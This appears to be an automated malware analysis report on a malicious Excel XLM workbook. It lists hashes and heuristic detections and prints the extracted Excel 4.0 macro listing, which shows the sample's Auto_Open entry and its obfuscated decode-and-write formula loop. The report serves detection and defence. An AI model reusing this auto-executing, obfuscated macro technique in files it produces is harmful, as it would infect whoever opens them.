Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6233449947a76692…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:40:20 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 2acff8a3c1488bb66bb997555714c2cc SHA-1: 7d13877e3a1a87fd9bd0e67aacb04d0d38fdf816 SHA-256: 6233449947a7669246123fb05a29ae1d15d895b5bd2f470a3ec7de57c70010fd
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6481 bytes
SHA-256: ac342007abcb28531b23b8d80e252f2aab4d028ce137ca464e090eaa7eac225e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RwsTAtl
' 0018     20 LABEL : Cell Value, String Constant - aaelB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F148 
' 0018     22 LABEL : Cell Value, String Constant - bEckEUx len=0 
' 0018     22 LABEL : Cell Value, String Constant - cAWTmPu len=0 
' 0018     21 LABEL : Cell Value, String Constant - CUIdig len=0 
' 0018     27 LABEL : Cell Value, String Constant - CxuJrJGrwAPC len=0 
' 0018     26 LABEL : Cell Value, String Constant - dPylPFAkuuH len=0 
' 0018     27 LABEL : Cell Value, String Constant - eeQwrbNyCpKb len=0 
' 0018     22 LABEL : Cell Value, String Constant - EsShDXo len=0 
' 0018     23 LABEL : Cell Value, String Constant - gVOrlnDX len=0 
' 0018     22 LABEL : Cell Value, String Constant - HfMIzRP len=0 
' 0018     27 LABEL : Cell Value, String Constant - iqueGUWsFDAk len=0 
' 0018     23 LABEL : Cell Value, String Constant - MVVztZSv len=0 
' 0018     22 LABEL : Cell Value, String Constant - rKmXZSi len=0 
' 0018     21 LABEL : Cell Value, String Constant - rtXbun len=0 
' 0018     27 LABEL : Cell Value, String Constant - smNXxgERSpME len=0 
' 0018     21 LABEL : Cell Value, String Constant - sSQfou len=0 
' 0018     23 LABEL : Cell Value, String Constant - vDxDWmFe len=0 
' 0018     24 LABEL : Cell Value, String Constant - vQtWxbVHG len=0 
' 0018     23 LABEL : Cell Value, String Constant - XZFJrTas len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZXoxEsx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RwsTAtl,F56,"SET.NAME("aaelB",VALUE("0"))",""
'  RwsTAtl,F61,"SET.NAME("CUIdig",aaelB)",""
'  RwsTAtl,F64,"SET.NAME("smNXxgERSpME",aaelB)",""
'  RwsTAtl,F66,"SET.NAME("MVVztZSv",COUNTA(XZFJrTas))",""
'  RwsTAtl,F70,"SET.NAME("cAWTmPu",COUNTA(rKmXZSi))",""
'  RwsTAtl,F72,[],""
'  RwsTAtl,F77,"SET.NAME("sSQfou","")",""
'  RwsTAtl,F82,"CUIdig",""
'  RwsTAtl,F86,"SET.NAME("gVOrlnDX",HLOOKUP("*",XZFJrTas,CUIdig,FALSE))",""
'  RwsTAtl,F88,"vQtWxbVHG",""
'  RwsTAtl,F93,"SET.NAME("dPylPFAkuuH",aaelB)",""
'  RwsTAtl,F96,[],""
'  RwsTAtl,F99,"dPylPFAkuuH",""
'  RwsTAtl,F101,"rtXbun",""
'  RwsTAtl,F103,"bEckEUx",""
'  RwsTAtl,F106,"CxuJrJGrwAPC",""
'  RwsTAtl,F110,"SET.NAME("ZXoxEsx",VALUE(HLOOKUP("*",rKmXZSi,CxuJrJGrwAPC,FALSE)))",""
'  RwsTAtl,F115,"EsShDXo",""
'  RwsTAtl,F119,"sSQfou",""
'  RwsTAtl,F123,"smNXxgERSpME",""
'  RwsTAtl,F128,NEXT(),""
'  RwsTAtl,F132,"iqueGUWsFDAk",""
'  RwsTAtl,F137,"SET.NAME("f",INT(T(FORMULA(T(sSQfou)&"",""&T(iqueGUWsFDAk)))))",""
'  RwsTAtl,F139,"HfMIzRP",""
'  RwsTAtl,F141,NEXT(),""
'  RwsTAtl,F143,RETURN(),""
'  RwsTAtl,F173,"SET.NAME("vDxDWmFe",F56)",""
'  RwsTAtl,F178,"XZFJrTas",""
'  RwsTAtl,F183,"SET.NAME("rKmXZSi",R94C15)",""
'  RwsTAtl,F188,"SET.NAME("HfMIzRP",197)",""
'  RwsTAtl,F191,"SET.NAME("eeQwrbNyCpKb",6)",""
'  RwsTAtl,F196,vDxDWmFe(),""
'  RwsTAtl,F197,HALT(),""

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